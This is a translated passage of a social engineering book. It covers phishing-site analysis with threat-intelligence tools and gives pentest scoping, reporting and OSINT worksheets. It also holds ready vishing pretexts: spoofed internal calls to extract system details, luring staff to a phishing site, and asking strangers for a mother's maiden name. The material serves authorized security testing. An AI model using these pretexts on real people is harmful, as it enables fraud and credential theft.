图 12-8:在 Firefox 中配置网络代理

一旦确认 Burp 已正确配置,您可以使用它来拦截浏览器的流量(参见图 12-9)。只要 Intercept 开启,您需要选择是转发还是丢弃每个网页请求. 这意味着您可以丢弃恶意(或合法)流量,而不是将其发送到浏览器。

<<Burp Suite Community Edition 仪表板,包含任务、事件日志和问题活动(仅限专业版)部分。>>

图 12-9:使用 Burp 截取流量

现在,让我们访问电子邮件中找到的网站。当你使用 Burp 转发它时,会加载一个网站。这看起来像是一个 PayPal 网站,但在图 12-10 中,你可以很容易地发现它并不合法:注意 URL 中没有 PayPal 字样,而且使用的是 .es 顶级域名。此外,URL 末尾的 code=US&id=8799879&country=United States 表示正在使用某种追踪手段。

<<网页显示的似乎是 PayPal 登录屏幕。红色高亮:链接的重定向位置显示 URL http://nurrahmahgroup.esy.es/pjj/creer/Adeit。>>

图 12-10:示例钓鱼登陆页面

URL 中完全没有 PayPal 字样可能是最大的警示信号。如果你尝试在沙箱系统(本章前面提到的隔离系统或虚拟机)中打开该链接,主机应该是未知的。而且,如你在图 12-11 中看到的,Burp 显示我们输入信息并点击链接后没有任何反应——很可能是一次 凭证盗取 失败的尝试。

<<Burp Suite Community Edition 窗口显示信息“错误:请求被用户丢弃”,并重定向至 http://nurrahmahgroup.esy.es/pjj/creer/Adeit。>>

图 12-11:断开的钓鱼重定向

该网站什么都不做,可能表明 PayPal 或其他供应商已采取了行动,可能利用了 DMCA。也可能表明攻击者缺乏扩展其攻击的技术能力。然而,重要的是不要忽视与凭证盗取相关的威胁。如反复所述,很多人仍然在多个平台上使用相同的密码,包括个人和工作账户。许多网站要么不强制,要么不支持多因素认证,从而加剧了这一威胁。

尽管链接失效,你仍然应该将其添加到 OTX pulse 中。在继续之前,通过勾选我们标识出的四个无关的 IP 地址旁边的框,并点击 排除,将它们添加到排除指标中。

分析可下载文件

这个钓鱼攻击活动没有包括任何可下载的文件。但如果有呢?我们来简要讨论一下如何分析这些文件。首先,你需要获取这些文件的加密哈希值。拥有文件的加密哈希值可以让你将已知状态的文件与其他版本进行对比,看看是否发生了变化。当一个文件被创建(或者在恶意软件的情况下被观察到)时,你会对文件进行加密哈希处理,帮助你更快地搜索它。你可以将系统中的文件哈希与已知的恶意文件哈希进行对比,并在发现匹配时发出警报。在某些情况下,文件会自行变化,因此哈希值可能不再相同。我们称之为 变种恶意软件,这是另一本书的话题。

你可以使用多种工具来生成文件的哈希值。像以下这些工具,Linux 上通常已经预装。有时候输入多个哈希类型是值得的,因为某些系统只会使用单一算法来检查文件。

要生成文件的 MD5 哈希值,请输入以下命令:

**md5sum** `filename` 

要生成文件的 SHA-1 哈希值,请输入以下命令:

**sha1sum** `filename` 

要生成文件的 SHA-256 哈希值,请输入以下命令:

**sha256sum** `filename` 

要生成文件的 SHA-512 哈希值,请输入以下命令:

**sha512sum** `filename` 

然后将每个哈希值添加到 OTX。如果你选择编写此事件并发布报告,你可以从 URL 导入脉冲数据并将该 URL 列为资源。

在接下来的章节中,我们将进一步分析esy.es域名。

进行威胁情报的 OSINT 分析

OTX 并不是唯一可以用来分析恶意链接或电子邮件的资源。在本节中,我们将探索其他一些工具和资源。你可能会在本书的 OSINT 章节中认出一些这些工具和技术。在这里,你将使用这些资源来判断一个网站是否有害。

在 VirusTotal 中搜索

一个由 Chronicle Security 公司拥有的网站,www.virustotal.com/,允许研究人员和威胁情报专家分析一个文件是否在超过 60 个杀毒平台上被列为恶意文件,而无需购买所有这些平台。它还允许你检查任何 URL 的状态。VirusTotal 还提供了 API 进行脚本化分析。它的基于 Web 的 GUI 搜索功能支持以下输入类型:实际上传的文件、URL、IP 地址、域名或文件哈希值。

通过 WHOIS 识别恶意网站

当你收集 OSINT 时,你运行了 WHOIS 命令。但在使用 WHOIS 分析恶意软件时,你需要寻找额外的信息。特别是,除了常规的 WHOIS 信息外,你还需要查看域名注册的国家和其自治系统号码(ASN)。ASN 将在你使用 PhishTank 分析网络钓鱼邮件来源系统时发挥作用。图 12-12 展示了看似可疑的域名esy.es的 WHOIS 记录。

<<DomainTools Whois 记录:“Esy.es”域名的记录,包含注册商状态(“已注册”)、名称服务器(每个有 455 个域名的四个服务器)和 IP 位置(“荷兰北部乔尔丹 OpenTid Bv”)。>>

图 12-12:esy.es的 WHOIS 记录

你可以看到,该域名注册在荷兰一个叫做 Jordaan 的地区,并且最后更新于 2021 年 6 月 9 日,使用的是通过 main-hosting.com 托管的名称服务器。进一步进行 main-hosting.com 的 WHOIS 查询显示,它托管在 godaddy.com 上,而一家信誉良好的公司通常会在内部托管该域名。你还应该对最近注册的域名保持警惕。年轻的域名需要审慎分析,因为很多都是恶意的。一个注册仅 8 天的域名和一个 43 天的名称服务器并不意味着它们一定是有问题的,但它们确实需要额外的调查。在这种情况下,你应该将这两个域名和任何相关的 IP 地址包含在你的 OTX 脉冲中。

合法网站的 WHOIS 记录会显示什么?为了比较,图 12-13 是nostarch.com的 WHOIS 输出。

<<DomainTools Whois 记录显示“nostarch.com”的 WHOIS 记录。红框中显示了注册人国家(冰岛)、ASN(AS13335 CLOUDFLARENET,美国(注册于 2010 年 7 月 14 日))、域名状态(已注册且活跃网站)和托管历史(17 年内发生 3 次更换,涉及 4 个独立的名称服务器)。>>

图 12-13:NoStarch 的 WHOIS 记录

首先注意到注册人国家为冰岛。当组织使用 WhoisGuard 或域名隐私等服务来隐藏其位置时,这是常见的情况,这并不意味着需要立即警惕或进一步分析。如果你查看日期,你会看到该域名创建于 1996 年,并且包括一个注册并活跃的网站。

其次,ASN 列出了 Cloudflare。使用 Cloudflare 表明该网站很可能不是恶意的,因为内容分发网络通常会删除它们验证为有害的任何内容。我们还看到这个域名在 17 年里经历了四个不同的名称服务器的三次更改。这是正常的,通常表示更换了服务提供商。自 1996 年以来,技术发生了很大变化,因此更换服务商和记录以实现新技术是合乎逻辑的。

使用 PhishTank 发现钓鱼网站

PhishTank (phishtank.com/) 是由 OpenDNS 运营的一个免费的钓鱼验证平台。它允许你按域名、URL 或 ASN 进行搜索。根据我的经验,按 ASN 搜索最为高效。但由于你没有nurrahmahgroup.esy.es域名的 ASN,你需要按域名和 URL 进行搜索。图 12-14 显示了这一搜索结果。

<<PhishTank "首页"标签显示“加入反钓鱼战斗。提交可疑钓鱼网站。跟踪提交状态。验证其他用户的提交。通过我们的免费 API 开发软件。”显示用于按 URL 搜索钓鱼数据库的搜索框,内容为 http://nurrahmahgroup.esy.es/pjj/creer/Adeit/signin。>>

图 12-14:PhishTank 搜索nurrahmahgroup.esy.es钓鱼网站

正如你在图 12-15 中看到的,搜索结果为空。这并不意味着它不是钓鱼尝试——只是目前没有人报告过。

<<PhishTank 网页显示消息“未知 http://nurrahmahgroup.esy.es/pjj/creer/Adeit.”>>

图 12-15:PhishTank.com 上的有效钓鱼

由于该站点已关闭,我将演示如何报告,但不会提交报告。首先,点击声明“没有已知信息”下方的将其添加到 Tank 中?链接。接下来,输入钓鱼网站的 URL。在这种情况下,你需要将电子邮件的正文粘贴到三个报告中提交给 Tank(如果你要提交的话),以便关联使用的所有三个域名。你还需要选择电子邮件中提到的组织 Microsoft,因为它声称来自 Office 365。一旦完成,点击提交

图 12-16 是将与钓鱼相关的信息输入到 PhishTank 中,以便将其纳入数据库的实例。

<<PhishTank "添加钓鱼"标签。红框突出显示:输入钓鱼 URL(http://nurrahmahgroup.esy.es/pjj/creer/Adeit)和钓鱼电子邮件中提到的组织(PayPal)的字段。同时显示输入完整电子邮件内容的字段。>>

图 12-16:向 PhishTank 提交钓鱼样本

浏览 ThreatCrowd

作为 AT&T 网络安全的一部分,ThreatCrowd (www.threatcrowd.org/) 提供关于域名、IP 地址以及其他细节(如哈希)的合法性可视化。与 OTX 及其他平台一样,你可以独立访问它,也可以通过 ThreatMiner 中的链接访问它(将在下一部分讨论)。图 12-17 显示了 nurrahmahgroup.esy.es 域名的可视化。

在这个可视化中,你可以看到各种系统、哈希、域名和其他特征如何与我们的关注系统互动。当构建网络威胁情报程序或深入分析潜在对手时,这非常有用。图形输出也能作为写报告时的出色素材。

<<ThreatCrowd 可视化显示不同大小的连接节点,展示着色编码的域名、IP 地址和哈希。红框突出显示:一个中等大小的蓝色节点,标记为“NURRAHMAHGROUP.ESY.ES”,它连接到一个标记有 IP 地址的大型灰色中心节点。>>

图 12-17:nurrahmahgroup.esy.es 的 ThreatCrowd 可视化

在 ThreatMiner 中整合信息

ThreatMiner (www.threatminer.org/) 接收输入并从多个其他威胁情报来源拉取信息,提供一个单一视图,展示其他平台的看法。ThreatMiner 让你能迅速了解恶意的可能性。像其他任何工具一样,它不是完美的解决方案,但它是其中最好的之一,尤其是因为它是免费的。

ThreatMiner 网站允许你搜索指示符或 APT 笔记。APT 笔记 是一个包含公开可用论文和博客的资料库,按年份排序,涉及与供应商定义的高级持续威胁(APT)组或工具集相关的恶意活动、攻击或软件。由于你已经有一些指示符,先让我们搜索这些。与 OTX 类似,ThreatMiner 可以处理多种类型的指示符,其中一些与 OTX 的有所不同。它们包括域名、IP 地址、哈希(MD5、SHA-1 和 SHA-256)、电子邮件地址、APT 笔记、SSL/TLS 证书、用户代理、杀毒软件名称、文件名、URI、注册表项和互斥体。

这是 ThreatMiner 的独特功能之一:它在屏幕左侧打开一个窗格,显示可能相关的 Google 搜索结果。在那里,你应该能看到与提交的指示符相关的 WHOIS 数据(如果适用)。在屏幕下方,你还会看到其他资源的链接,如 RiskIQ、PassiveTotal、VirusTotal、DomainTools、ThreatCrowd、OTX、SecurityTrails 和 Robtex。

图 12-18 显示了对 nurrahmahgroup.esy.es 的搜索。

<<ThreatMiner 网站显示“nurrahmahgroup.esy.es”域的结果。左侧窗格显示可能相关的 Google 搜索结果(为空)。主页面显示 WHOIS 信息和相关资源的结果。>>

图 12-18:nurrahmahgroup.esy.es 的 ThreatMiner 结果

在相关资源下方,你会注意到该域名没有 APT 笔记。也没有相关的被动 DNS、子域名、关联 URL、Robtex 或恶意软件样本。考虑到你分析的钓鱼邮件比较旧,而且该域名是最近注册的,这很有道理。对于一个更加成熟的指示符,或者尚未被撤下的域名,预计会在这里看到更多信息。

现在,如果 ThreatMiner 为你搜索所有这些网站,为什么我等到最后才展示它的功能?是为了帮助你理解如何自己进行分析。当我在进行钓鱼邮件的威胁情报分析时,我通常会同时打开两个窗口:OTX 和 ThreatMiner。要使用 ThreatMiner 识别的相关信息,只需点击链接。

结论

威胁情报不仅仅是花言巧语,也不仅仅是消费供应商的情报源。它让你能够分析自己的经验,并收集可操作的信息,这些信息不仅能帮助你,还能帮助你的客户、合作伙伴以及整个社区。在本章中,你通过使用 OTX 消耗和生成了威胁情报,然后通过 WHOIS、ThreatCrowd、ThreatMiner、VirusTotal 等工具过渡到防御性应用。这只是你威胁情报工作的开始,但它为你能够看清供应商炒作之外的真相,并制作高质量的材料来增强组织的安全性奠定了坚实的基础。

第十三章:合作范围工作表

在与客户进行合作范围确认阶段的会议时,请使用以下工作表。

目标组织
组织联系方式
标题
请求的操作?(根据需要圈出) OSINT、网络钓鱼、语音钓鱼、现场测试、物理渗透、诱饵攻击、垃圾桶潜入
性能时间表
预算工时
评估
报价估算

法务

文章 是/否
确保合同和工作说明书中提到公司及所有测试人员,且可行。
确保错误和遗漏保险政策是有效的,并且符合客户合同的要求。
确保授权进行合作的方拥有相应的授权。
法务顾问是否已审查工作说明书和合同?

尺寸和性能

文章 回应
网络钓鱼:客户会提供攻击用的电子邮件地址吗?
语音钓鱼:客户会提供攻击用的电话号码吗?
网络钓鱼:需要发送多少封电子邮件?
语音钓鱼:需要拨打多少个电话?
客户是否已有预设的背景信息可以使用?
是否有任何特定的背景信息是禁用的?
客户是否有任何特定的 IP 地址或电子邮件地址希望作为攻击源?
客户是否有任何特定的 IP 地址或电子邮件地址作为攻击源是禁止使用的?
客户是否希望以下事项中的任何一项?(请圈出所有适用项。) 获得系统访问权限、点击指标、恶意软件投放、凭证收集

时间安排

文章 回应
是否有任何特定的停机期,无法通过电话或电子邮件进行联系(指参与合作的人员,而非合作管理人员)
是否有任何特定的星期几或月份需要避免?
开始日期是什么时候?
结束日期是什么时候?

第十四章:报告模板

使用此模板作为撰写专业 OSINT 或社交工程报告的工具。可以根据需要添加或省略部分内容,但我建议尽量保持与此模板一致。当然,只有在进行钓鱼或语音钓鱼时,才应包括这些内容。

<日期>

前言

<客户名称>聘请<你或你的公司>进行信息安全测试工作,包括<所有相关内容>钓鱼、语音钓鱼、垃圾箱搜索、开放源代码情报收集、诱饵设置、物理安全测试和<其他范围内的测试>。测试时间为<开始日期><结束日期>

执行摘要

团队对<客户名称>进行了以下<来自介绍部分>测试,观察到以下结果:

  • <发现 1(解释为传递商业风险的含义)>

  • <发现 2(解释为传递商业风险的含义)>

  • <发现 3(解释为传递商业风险的含义)>

团队立即发现了以下结果:

  • <积极结果 1(例如,检测)>

  • <积极结果 2(例如,报告)>

  • <负面结果 1(例如,发现敏感信息)>

  • <负面结果 2(例如,发现另一个攻击者在内)>

<客户名称>的风险评估等级为<低 | 中等 | 高 | 危急>(注:将风险等级加粗并用全大写字母表示。)

工作声明

请使用此部分解释工作内容。通常,通过复制并粘贴合同中的实际工作声明的全部或部分内容来实现这一点。这是为了重申团队被要求做什么以及为何如此操作。

范围

社交工程项目的范围,包括 OSINT、钓鱼和语音钓鱼,涉及<客户名称><你或你的公司>,包括<OSINT 小时数>,钓鱼包括<场景数>场景,发送<最多> | <不少于> <邮件数量>封邮件,时限为<参与时段(天数和时间)>,语音钓鱼包括<场景数>场景,打<最多> | <不少于> <电话数量>通电话,时限为<参与时段(天数和时间)>

以下项目明确包含在范围内:

  1. <范围内的项目>

以下项目明确不在范围内:

  1. <范围外的项目>

完成日期

所有工作将在<日期>前完成,最终报告和总结会议或电话将在完成日期后 10 个工作日内提供。

工作地点

<工作地点或地点>

<将从以下 IP 地址执行工作>

关于<公司名称>

<公司名称>是一家<公司行业>公司,总部位于<城市><州或国家>,由<所有者;如果是上市公司,还需提及股票代码 xxx>拥有。<有关公司的更详细信息>。

<任何合并和/或收购>

公司有多个物理位置。站点位于以下位置:

<站点 1>

<站点 2>

<目标公司> 已实施标准的电子邮件地址格式 firstname.lastname@<公司域名>。

工具与方法

讨论你使用了哪些工具,并分析你发现的内容。暂时不要深入讨论你具体发现了什么。

指标

这是你进行一定程度的数学或数字分析的地方,帮助客户理解发现如何累积,以及如何改进。分析不必过于复杂,但提供比率、百分比,甚至图表或图形可以极具价值,客户也会因此再次聘用你。

网络钓鱼

打开报告距离

  1. 第一次报告的时间减去第一次打开的时间

打开报告比率

  1. 电子邮件报告的次数除以打开的次数

点击报告距离

  1. 第一次报告的时间减去第一次点击的时间

点击报告比率

  1. 报告的次数除以点击次数

输入比率

  1. 信息输入的次数(例如,在表单中)除以点击次数

输入报告比率

  1. 信息输入的次数除以报告次数

有效性比率

  1. 输入的有效凭证的次数除以输入的凭证总数

泄露比率

  1. 在“我是否被泄露”中有数据的用户输入信息的次数除以输入信息的用户总数

打开纠正距离

  1. 纠正措施发生的时间减去第一次打开的时间

点击纠正距离

  1. 纠正措施发生的时间减去第一次点击的时间

语音钓鱼

回答报告距离

  1. 第一次报告的时间减去第一次接听电话的时间

回答报告比率

  1. 报告的通话次数除以已接听电话的次数

请求比率

  1. 在电话中请求时提供信息的次数除以通话次数

请求报告比率

  1. 在电话中请求时提供信息的次数除以报告次数

发现

严重性关键

关键

  1. 这些风险可能会对组织造成灾难性后果,包括重大停机和大量高度敏感或个人数据的泄露。

  1. 这些风险可能会导致昂贵的或严重的停机、损害或运营中断。利用这些风险的门槛较低,且其影响较大,可能涉及敏感数据或受监管数据,虽然比关键风险的数量少。

中等

  1. 这些项可能会在客户组织内部引起一些干扰或问题,但不会造成重大停机。它们可能涉及访问系统,这些系统可以被用来转向其他系统或设施。这些可能涉及的非公开数据不特别敏感。

  1. 这些项目对客户的风险较小。它们可能依赖于边缘情况,比如本地物理访问,或者需要先完成其他漏洞利用向量。如果成功,它们带来的干扰非常有限。

信息性

  1. 这些目前没有风险,但不符合最佳实践,或者将来可能变得有风险。

<按严重性从高到低排列的发现(关键到信息性)>. 发现应该包括以下子部分:

讨论

你所发现的。

问题

为什么这是一个问题。

验证

工具输出和/或截图以证明这是一个问题。

潜在结果

可能发生的情况(保持现实)。

缓解或修复

如何解决问题。引用任何适用的行业标准。

建议

客户如何改进并避免其他成功的钓鱼攻击。

结论

总结整个报告。

发现的电话号码

555-867-5309

555-903-7684

发现的网站

company.tld1

company.tld2

mail.company.tld1

发现的电子邮件

John.doe@company.tld1

Jdoe@company.tld1

发现的高价值资产

首席执行官:约翰·多伊

首席运营官:简·史密斯

使用的前置条件

列出用于钓鱼和语音钓鱼的前置条件。

第十五章:信息收集工作表

使用此文档作为收集 OSINT 信息的路线图,或作为指导你的电话钓鱼(vishing)活动的参考。这不是一个全面的清单,应视为你开展活动的起点。

物理 回应
该组织的地点是在哪里?
是否有围栏?
是否有大门?
大门是否有人值守?
保安是否持枪?
垃圾桶的访问是否容易?
员工佩戴什么样的员工卡?
进入时,是否需要出示除了员工卡之外的其他物品(例如 PIN 或指纹)?
员工卡上有照片吗?
能否使用映射工具找到任何摄像头或安防系统?
该组织是否在 Shodan 上有 CCTV 系统?
技术 回应
--- ---
目标拥有哪些域名?
域名下包含了哪些子域名?
你能找到任何 Web 邮件实例吗?
你能找到 VPN 或远程访问门户吗?
根据职业网站,使用了哪些技术?
根据 LinkedIn、Indeed 和其他平台,使用了哪些技术?
你能列举出操作系统吗?
使用 Recon-ng 元数据爬虫,找到哪些文件?有关于用户、用户名、软件和技术的任何 OSINT 吗?
你能找到无线网络使用的迹象吗(WiGLE.net、LinkedIn 和职业页面)?
他们的任何公共设备是否有未解决的 CVE?
你能找到任何云技术的提及吗,例如 Azure、GCP 或 AWS?
你能找到任何关于托管服务或安全提供商的提及吗?
是否可以确定他们的恶意软件防护(杀毒软件或终端检测与响应)?
他们的 DNS 中是否有 SPF、DKIM 和 DMARC 记录?
DNS 中是否有其他有趣的内容?
公司 回应
--- ---
电子邮件的语法是什么?
使用 WikiLeaker,你能找到目标是否出现在 WikiLeaks 上的任何迹象吗?
谁是高级管理人员?
谁是公关专业人士?
人们穿着有什么特定方式吗?
员工是否需要佩戴个人防护设备(PPE)?
供应商和伪装 回应
--- ---
谁是云服务提供商?
他们的杀毒软件供应商是谁?
谁为他们提供 HVAC 服务?
谁为他们的垃圾桶提供服务?
谁为他们的电梯提供服务?
人员 OSINT 回应
--- ---
你是否列举了在网站文件中提到的人(元数据爬虫和 Google 搜索)?
你是否列出了高管(彭博社和 SEC 文件)?
你是否确定了员工的电子邮件地址?
你是否列举了电话号码?
你是否找到了公司电话目录?使用常见的姓氏进一步列举。

第十六章:伪装示例

这是我过去使用并且取得成功的一些社交工程借口。你可以自由使用或修改它们以适应你的需求。我鼓励你在保持道德的基础上,进一步发展这些借口。如果你愿意,可以分享你修改后的版本或自己的版本。如果你有兴趣,随时联系我。

困惑的员工

以一个笨拙的员工身份保持借口,这次假装对公司的食物服务感到困惑,拨打人力资源部门请求帮助。使用伪装的内部号码拨打电话(通常是传真号码,以防目标回拨时产生困惑)。

现在,询问食物服务的问题可以这样提问:

  • 他们在信用卡账单上怎么显示?谁来结算?

  • 你真是太有帮助了;你在这里工作多久了?

  • 谁是你的经理?我想给你一个赞扬。

  • 用于订购的 URL 会跳转到另一个网站,,你能查看一下吗?

然后说你已经结束了休息时间,必须赶紧打卡回去工作。

IT 库存

在伪装成内部 IT 号码后,进行公司资产清点。解释说公司即将进行审计,你需要确保信息准确。首先询问这个人什么时候加入公司,是否喜欢这份工作。询问他们的工作安排。然后问以下问题:

  • 他们的徽章背面有任何标志或数字吗?

  • 他们使用笔记本电脑还是台式机?

  • 桌子上是什么类型的电话?

  • 他们的电脑品牌和型号是什么?

  • 他们使用什么操作系统?

  • 使用的是哪个服务包和版本?

  • 他们使用什么邮件客户端?

  • 他们使用哪些浏览器?

  • 他们能访问无线网络吗?

  • 使用的是哪些网络?

  • 他们安装了什么杀毒软件?

  • 有没有网站被屏蔽?

记录下被屏蔽的网站,然后告诉他们你正在部署一个安全策略。如果他们不知道有任何网站被屏蔽,可以让他们访问 Facebook 和 eBay。你会告诉用户去访问。为了结束通话,接到一个“紧急邮件”,然后挂断电话。

你也可以用其他一些借口提问。例如,假装自己是一个困惑的同事,拨打一个内部号码,问目标是否可以访问一些网站和资源;告诉他们你无法访问某个网站,然后问他们能不能访问。或者,假装是有意应聘公司的人,打电话过去。你可以利用自己上过“社区学院课程”的经历,顺势问一些关于 IT 的问题。

透明度调查

从公司内部号码拨打员工电话,进行一项包含 10 个问题的员工透明度调查。说明调查的重点是了解公司有多透明以及员工对公司业务的了解程度。提问如下:

  • 他们使用 VPN 吗?

  • 他们的工作安排是什么?

  • 发薪日是什么时候?

  • 他们在目标公司工作了多久?

  • 他们使用的是哪种操作系统、浏览器和邮件客户端?

  • 他们有自助餐厅吗?

  • 谁负责害虫控制?

  • 谁是清洁工?

  • 他们使用什么样的防病毒软件?

最后,试图让他们访问你的钓鱼网站。然后感谢他们并突然挂断电话。

第十七章:提高你社会工程能力的练习

这些练习是我在教授面对面课程时常常使用的。它们旨在帮助学生克服与目标打破沉默的恐惧,并训练他们在现场或不舒服的情况下请求可能涉及敏感信息的能力。请在有时间的时候尝试这些练习,看看你的社会工程技巧和舒适度如何提高。

帮助陌生人并请求“线索”

当你外出时,留意那些试图拍自拍的陌生人。主动提出帮助他们拍照。如果他们同意了,接着邀请他们帮你做点事情。我喜欢用“人类学调查”或“心理学课程的词汇调查”这种方式,问一些有些侵入性的问题,比如他们母亲的娘家姓或密码。我发现,当我问“你妈妈结婚前叫什么名字?”时,要求母亲的娘家姓会更有成功率,这样通常可以绕过关于母亲娘家姓的心理防火墙规则。

即兴演出

即兴喜剧对于提高快速反应能力非常有帮助。在进行现场的身体评估和钓鱼攻击时,你必须随时应变。事情从来不会按计划进行。有即兴演出的经验能帮助你习惯应对尴尬的情况,这些情况可能会在这些任务中毫无预警地发生。记住即兴演出的规则:永远不要说“不”。

单口喜剧

像即兴演出一样,单口喜剧也有助于社会工程。两者的不同之处在于,一个是经过排练的,另一个则不是。单口喜剧的优势是你可以提前构思好完整的背景故事,而即兴演出则缺乏这种预演的机会。但是,当你即兴发挥时,单口喜剧可能会失败,而即兴演出则可能会成功。两者都很重要,但带给你的体验不同。

公共演讲/吐司大师

演讲总是有帮助的。习惯在不同规模的观众面前表现,对你来说是一种优势。就像做即兴演出一样,事情会出错。你必须克服这些问题才能成功。你还会习惯清晰地表达和使用更多方式传达观点。

例如,我第一次做“社交取证”讲座是在 2018 年的 BSides Orlando。演讲进行了三张幻灯片,我的电脑出现了蓝屏死机。我惊慌失措。在花了大约 30 秒钟恢复冷静后,我向观众解释了问题,接着一位朋友上台帮我照看电脑,直到它重新启动。我坦诚这是我第一次做这个讲座,并解释说我将凭记忆即兴发挥。系统恢复后,我能够继续讲解幻灯片,按时完成所有内容。虽然我不得不取消演示,但我提出可以在走廊里进行演示,结果大约 15 个人跟着我去看了演示。值得一提的是,这并不是我最糟糕的演讲经历,只是一个帮助我成长的经验。

对家人和朋友进行开放源信息(OSINT)操作

获得家人和朋友的许可,收集关于他们的 OSINT。根据你与他们的关系亲疏,你可能只能精细化你的搜索方法并评估数据的准确性。我通常会邀请一些我在现实中从未见过的在线朋友来增加一些挑战性。为了让那些允许我们收集他们的 OSINT 的人觉得值得,提供一份你所发现的报告。报告不必正式,也不需要按照附录 B 的模板来写,但应该证明你找到了什么、在哪里找到了、为什么这是一个问题,以及如何删除它(如果可能)。

参加社交工程和 OSINT CTF 比赛

我最后的建议是参加比赛。信息安全社区中的几个个人和组织举办了 Capture-the-Flag (CTF) 赛事。

Chris Hadnagy 负责 Defcon 上的 SEVillage 和独立会议,他在这两个地点都有举办社交工程 CTF。Defcon 和 Defcon China 的 Recon Village 都有 CTF 元素。Chris Silvers 在 BSides Atlanta、GrrCON、NolaCon 以及其他会议上举办 OSINT CTF。当我进行面对面的培训时,如果课程是全天或超过一天,我也会加入 OSINT CTF 元素。

另一个平台是 Trace Labs 的 Search Party CTF。Trace Labs 举办多个全球远程 CTF,并与多家会议合作在这些会议上举行 CTF。他们维护一个 Slack 频道,并为 Slack 成员提供持续的操作,执法部门表示他们正在寻求帮助。关于 OSINT 和社交工程,有多种 Discord 服务器可供参与,其中包括我自己的服务器(discord.com/invite/p78TTGa/)。

第一部分

基础知识

第二部分

进攻性社会工程学

第三部分

防御社会工程学攻击

posted @ 2025-12-01 09:40  绝不原创的飞龙  阅读(0)  评论(0)    收藏  举报